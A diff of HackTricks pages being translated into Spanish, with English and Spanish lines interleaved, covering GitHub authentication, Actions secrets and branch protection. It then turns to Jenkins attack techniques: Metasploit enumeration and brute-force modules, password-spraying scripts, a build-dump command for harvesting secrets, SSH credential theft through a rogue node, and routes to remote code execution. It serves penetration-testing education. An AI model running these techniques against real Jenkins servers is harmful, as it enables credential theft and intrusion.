Github ofrece diferentes formas de autenticarse en tu cuenta y realizar acciones en tu nombre.
### Web Access
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
Accediendo a **github.com** puedes iniciar sesión usando tu **username y password** (y potencialmente un **2FA**).
### **SSH Keys**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
Puedes configurar tu cuenta con una o varias claves públicas permitiendo que la clave privada relacionada **realice acciones en tu nombre.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
No puedes **suplantar al user con estas claves**, pero si no las usas podría ser posible que **se detecte que envías commits sin firma**. Aprende más sobre el [vigilant mode aquí](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Puedes generar personal access token para **dar a una aplicación acceso a tu cuenta**. Al crear un personal access token el **user** necesita **especificar** los **permisos** que el **token** tendrá. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
Oauth applications pueden pedirte permisos **para acceder a parte de tu información de github o para suplantarte** y realizar algunas acciones. Un ejemplo común de esta funcionalidad es el botón de **login with github** que podrías encontrar en algunas plataformas.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- Puedes **crear** tus propias **Oauth applications** en [https://github.com/settings/developers](https://github.com/settings/developers)
- Puedes ver todas las **Oauth applications que tienen acceso a tu cuenta** en [https://github.com/settings/applications](https://github.com/settings/applications)
- Puedes ver los **scopes que Oauth Apps pueden pedir** en [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Puedes ver el acceso de terceros de aplicaciones en una **organization** en _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Some **security recommendations**:
Algunas **recomendaciones de seguridad**:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- Un **OAuth App** siempre debería **actuar como el GitHub user autenticado a lo largo de todo GitHub** (por ejemplo, al proporcionar notificaciones al user) y con acceso solo a los scopes especificados.
- Un OAuth App puede usarse como proveedor de identidad habilitando un "Login with GitHub" para el user autenticado.
- **No** construyas un **OAuth App** si quieres que tu aplicación actúe sobre **un solo repository**. Con el scope `repo`, OAuth Apps pueden **actuar sobre _todos_ los repositories del usuario autenticado**.
- **No** construyas un OAuth App para actuar como aplicación de tu **team o company**. Los OAuth Apps se autentican como un **single user**, por lo que si una persona crea un OAuth App para que la company lo use y luego esa persona deja la company, nadie más tendrá acceso a él.
- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
Github applications pueden pedir permisos para **acceder a tu información de github o suplantarte** para realizar acciones específicas sobre recursos concretos. En Github Apps necesitas especificar los repositories a los que la app tendrá acceso.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
- Para instalar una GitHub App, debes ser **organisation owner o tener permisos de admin** en un repository.
- La GitHub App debe **conectarse a una personal account o a una organization**.
- Puedes crear tu propia Github application en [https://github.com/settings/apps](https://github.com/settings/apps)
- Puedes ver todas las **Github applications que tienen acceso a tu cuenta** en [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Estos son los **API Endpoints para Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependiendo de los permisos de la App podrá acceder a algunos de ellos.
- Puedes ver las apps instaladas en una **organization** en _https://github.com/organizations/\<org_name>/settings/installations_
Some security recommendations:
Algunas recomendaciones de seguridad:
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- Una GitHub App debería **realizar acciones independientes de un user** (a menos que la app esté usando un [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Para mantener más seguros los access tokens user-to-server, puedes usar access tokens que expiren después de 8 horas y un refresh token que se pueda intercambiar por un nuevo access token. Para más información, consulta "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Asegúrate de que la GitHub App se integre con **repositorios específicos**.
- La GitHub App debe **conectarse a una personal account o a una organization**.
- No esperes que la GitHub App conozca y haga todo lo que un user puede hacer.
- **No uses una GitHub App si solo necesitas un servicio de "Login with GitHub"**. Pero una GitHub App puede usar un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para iniciar sesión a los users _y_ hacer otras cosas.
- No construyas una GitHub App si _solo_ quieres actuar como un GitHub user y hacer todo lo que ese user puede hacer.
- Si estás usando tu app con Github Actions y quieres modificar archivos de workflow, debes autenticarte en nombre del user con un OAuth token que incluya el scope `workflow`. El user debe tener permisos de admin o write en el repository que contiene el archivo de workflow. Para más información, consulta "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Más** en [aquí](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
Esto **no es una forma de autenticarse en github**, pero una Github Action **maliciosa** podría obtener **acceso no autorizado a github** y, **dependiendo** de los **privilegios** otorgados a la Action, se podrían realizar varios **ataques**. Ver más abajo para más información.
## Git Actions
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
Git actions permite automatizar la **ejecución de código cuando ocurre un evento**. Normalmente el código ejecutado está **de algún modo relacionado con el código del repository** (por ejemplo, construir un contenedor docker o comprobar que el PR no contiene secrets).
### Configuration
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
En _https://github.com/organizations/\<org_name>/settings/actions_ es posible comprobar la **configuración de las github actions** para la organization.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Es posible deshabilitar completamente el uso de github actions, **permitir todas las github actions**, o solo permitir ciertas actions.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
También es posible configurar **quién necesita aprobación para ejecutar una Github Action** y los **permisos del GITHUB_TOKEN** de una Github Action cuando se ejecuta.
### Git Secrets
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Las Github Actions normalmente necesitan algún tipo de secret para interactuar con github o aplicaciones de terceros. Para **evitar ponerlos en texto plano** en el repo, github permite almacenarlos como **Secrets**.
Estos secrets pueden configurarse **para el repo o para toda la organization**. Entonces, para que la **Action pueda acceder al secret** necesitas declararlo así:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Ejemplo usando Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Los secretos **solo pueden ser accedidos desde los Github Actions** que los hayan declarado.
>
> Una vez configurados en el repo o en las organizations, **los usuarios de github no podrán acceder a ellos de nuevo**, solo podrán **cambiarlos**.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Por lo tanto, la **única forma de robar secretos de github es poder acceder a la máquina que está ejecutando la Github Action** (en ese escenario solo podrás acceder a los secretos declarados para la Action).
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
### Git Environments
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
### Entornos de Git
Github permite crear **entornos** donde puedes guardar **secretos**. Luego, puedes dar a la github action acceso a los secretos dentro del entorno con algo como:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
You can configure an environment to be **accedido** por **todas las ramas** (por defecto), **solo ramas protegidas** o **especificar** qué ramas pueden acceder a él.\
Además, las protecciones del environment incluyen:
- **Revisores requeridos**: bloquee jobs que apunten al environment hasta que sean aprobados. Habilita **Prevent self-review** para forzar un principio de cuatro ojos en la propia aprobación.
- **Deployment branches and tags**: restrinja qué ramas/tags pueden desplegar al environment. Prefiera seleccionar ramas/tags específicos y asegúrese de que esas ramas estén protegidas. Nota: la opción "Protected branches only" se aplica a las protecciones clásicas de ramas y puede no comportarse como se espera si usa rulesets.
- **Wait timer**: retrase los despliegues por un periodo configurable.
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
También se puede configurar un **número de revisiones requeridas** antes de **ejecutar** una **acción** usando un **environment** o **esperar** algún **tiempo** antes de permitir que los despliegues procedan.
### Git Action Runner
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Un Github Action puede ser **ejecutado dentro del github environment** o puede ejecutarse en una **infraestructura de terceros** configurada por el usuario.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
Varias organizaciones permiten ejecutar Github Actions en una **infraestructura de terceros** ya que suele ser **más barato**.
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
Puedes **listar los self-hosted runners** de una organización en _https://github.com/organizations/\<org_name>/settings/actions/runners_
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no-github** es buscar `runs-on: self-hosted` en el yaml de configuración del Github Action.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
No es **posible ejecutar un Github Action de una organización dentro de una máquina self-hosted** de una organización diferente porque **se genera un token único para el Runner** al configurarlo para saber a qué runner pertenece.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
Si el custom **Github Runner está configurado en una máquina dentro de AWS o GCP** por ejemplo, la Action **podría tener acceso al metadata endpoint** y **robar el token de la service account** con la que la máquina está ejecutándose.
### Git Action Compromise
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
Si todas las actions (o una action maliciosa) están permitidas, un usuario podría usar una **Github action** que sea **maliciosa** y **comprometer** el **contenedor** donde se está ejecutando.
> [!CAUTION]
> A **malicious Github Action** run could be **abused** by the attacker to:
> Una **Github Action maliciosa** podría ser **abusada** por el atacante para:
>
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
> - **Robar todos los secretos** a los que la Action tenga acceso
> - **Moverse lateralmente** si la Action se ejecuta dentro de una **infraestructura de terceros** donde se puede acceder al token de la SA usado para ejecutar la máquina (probablemente vía el metadata service)
> - **Abusar del token** usado por el **workflow** para **robar el código del repo** donde se ejecuta la Action o **incluso modificarlo**.
## Branch Protections
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Las protecciones de rama están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**.
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
Las **branch protections de un repositorio** se pueden encontrar en _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> No es **posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben declararse en cada repo.
Different protections can be applied to a branch (like to master):
Diferentes protecciones pueden aplicarse a una rama (como a master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
- Puedes **requerir un PR antes de hacer merge** (para que no puedas fusionar código directamente sobre la rama). Si esto está seleccionado, pueden aplicarse otras protecciones:
- **Requerir un número de aprobaciones**. Es muy común requerir 1 o 2 personas adicionales para aprobar tu PR de modo que un solo usuario no pueda fusionar código directamente.
- **Descartar aprobaciones cuando se empujan nuevos commits**. Si no, un usuario puede aprobar código legítimo y luego añadir código malicioso y hacer merge.
- **Requerir la aprobación del push revisable más reciente**. Asegura que cualquier commit nuevo después de una aprobación (incluyendo pushes de otros colaboradores) re-dispare la revisión para que un atacante no pueda empujar cambios post-aprobación y fusionar.
- **Requerir revisiones de Code Owners**. Al menos 1 code owner del repo debe aprobar el PR (para que usuarios "aleatorios" no puedan aprobarlo).
- **Restringir quién puede descartar revisiones de pull request.** Puedes especificar personas o equipos permitidos para descartar revisiones.
- **Permitir actores especificados para omitir los requisitos de pull request.** Estos usuarios podrán eludir las restricciones previas.
- **Requerir que los status checks pasen antes de fusionar.** Algunas comprobaciones deben pasar antes de poder mergear el commit (como una GitHub App que reporte resultados SAST). Consejo: vincula los checks requeridos a una GitHub App específica; de lo contrario, cualquier app podría suplantar el check vía la Checks API, y muchos bots aceptan directivas de skip (p. ej., "@bot-name skip").
- **Requerir resolución de conversaciones antes de fusionar.** Todos los comentarios en el código deben resolverse antes de que el PR pueda ser merged.
- **Requerir commits firmados.** Los commits deben estar firmados.
- **Requerir historial lineal.** Evita que commits de merge sean empujados a ramas que coincidan.
- **Incluir administradores.** Si esto no está activado, los admins pueden eludir las restricciones.
- **Restringir quién puede pushear a ramas coincidentes.** Restringe quién puede enviar un PR.
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> Como puedes ver, incluso si logras obtener credenciales de un usuario, **los repos pueden estar protegidos evitando que hagas push a master** por ejemplo para comprometer el pipeline CI/CD.
## Tag Protections
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
Los tags (como latest, stable) son mutables por defecto. Para imponer un flujo de cuatro ojos en las actualizaciones de tags, protege los tags y encadena protecciones a través de environments y ramas:
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
1) En la regla de protección de tags, habilita **Require deployments to succeed** y exige un despliegue exitoso a un environment protegido (p. ej., prod).
2) En el environment objetivo, restringe **Deployment branches and tags** a la rama de release (p. ej., main) y, opcionalmente, configura **Requerir revisores** con **Prevent self-review**.
3) En la rama de release, configura las protecciones de rama para **Requerir un pull request**, establece aprobaciones ≥ 1 y habilita tanto **Descartar aprobaciones cuando se empujan nuevos commits** como **Requerir la aprobación del push revisable más reciente**.
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
Esta cadena evita que un único colaborador vuelva a etiquetar o publique forzadamente releases editando los YAML del workflow, ya que las puertas de despliegue se hacen cumplir fuera de los workflows.
## References
@@ -273,5 +267,3 @@ This chain prevents a single collaborator from retagging or force-publishing rel
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,312 +1,292 @@
# Jenkins Security
# Seguridad de Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Información Básica
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Aunque Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir manualmente.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
## Enumeración No Autenticada
Para buscar páginas interesantes de Jenkins sin autenticación como (_/people_ o _/asynchPeople_, esto lista los usuarios actuales) puedes usar:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
Verifica si puedes ejecutar comandos sin necesidad de autenticación:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Sin credenciales, puedes mirar dentro de la ruta _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ para **nombres de usuario**.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
Es posible que puedas obtener la versión de Jenkins desde la ruta _**/oops**_ o _**/error**_.
![](<../../images/image (146).png>)
### Known Vulnerabilities
### Vulnerabilidades Conocidas
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Login
## Inicio de Sesión
In the basic information you can check **all the ways to login inside Jenkins**:
En la información básica puedes verificar **todas las formas de iniciar sesión en Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Register
### Registro
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Tan simple como eso.**
### **SSO Login**
### **Inicio de Sesión SSO**
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Además, si la **funcionalidad**/**plugins** de **SSO** estaban presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
### Fuerza Bruta
**Jenkins** carece de **política de contraseñas** y **mitigación de fuerza bruta de nombres de usuario**. Es esencial **realizar fuerza bruta** a los usuarios ya que **contraseñas débiles** o **nombres de usuario como contraseñas** pueden estar en uso, incluso **nombres de usuario invertidos como contraseñas**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
Usa [este script de python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [este script de powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
### Bypass de IP Whitelisting
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline.
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
Para lograr esto, las organizaciones **blanquean** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante notar que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Verifica: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
## Abusos internos de Jenkins
In these scenarios we are going to suppose you have a valid account to access Jenkins.
En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.
> [!WARNING]
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
> Dependiendo del mecanismo de **Autorización** configurado en Jenkins y los permisos del usuario comprometido, **podrías o no** realizar los siguientes ataques.
For more information check the basic information:
Para más información, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Listing users
### Listando usuarios
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
### Extracción de builds para encontrar secretos en texto claro
Usa [este script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Robando Credenciales SSH**
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
Si el usuario comprometido tiene **suficientes privilegios para crear/modificar un nuevo nodo de Jenkins** y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría **robar esas credenciales** creando/modificando un nodo y **configurando un host que registrará las credenciales** sin verificar la clave del host:
![](<../../images/image (218).png>)
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
Normalmente encontrarás las credenciales ssh de Jenkins en un **proveedor global** (`/credentials/`), así que también puedes volcarlas como lo harías con cualquier otro secreto. Más información en la [**sección de volcado de secretos**](./#dumping-secrets).
### **RCE in Jenkins**
### **RCE en Jenkins**
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
Obtener un **shell en el servidor de Jenkins** le da al atacante la oportunidad de filtrar todos los **secretos** y **variables de entorno** y de **explotar otras máquinas** ubicadas en la misma red o incluso **reunir credenciales de la nube**.
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
Por defecto, Jenkins **se ejecutará como SYSTEM**. Por lo tanto, comprometerlo le dará al atacante **privilegios de SYSTEM**.
### **RCE Creating/Modifying a project**
### **RCE Creando/Modificando un proyecto**
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
Crear/Modificar un proyecto es una forma de obtener RCE sobre el servidor de Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Execute Groovy script**
### **RCE Ejecutar script Groovy**
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
También puedes obtener RCE ejecutando un script Groovy, que podría ser más sigiloso que crear un nuevo proyecto:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creating/Modifying Pipeline
### RCE Creando/Modificando Pipeline
You can also get **RCE by creating/modifying a pipeline**:
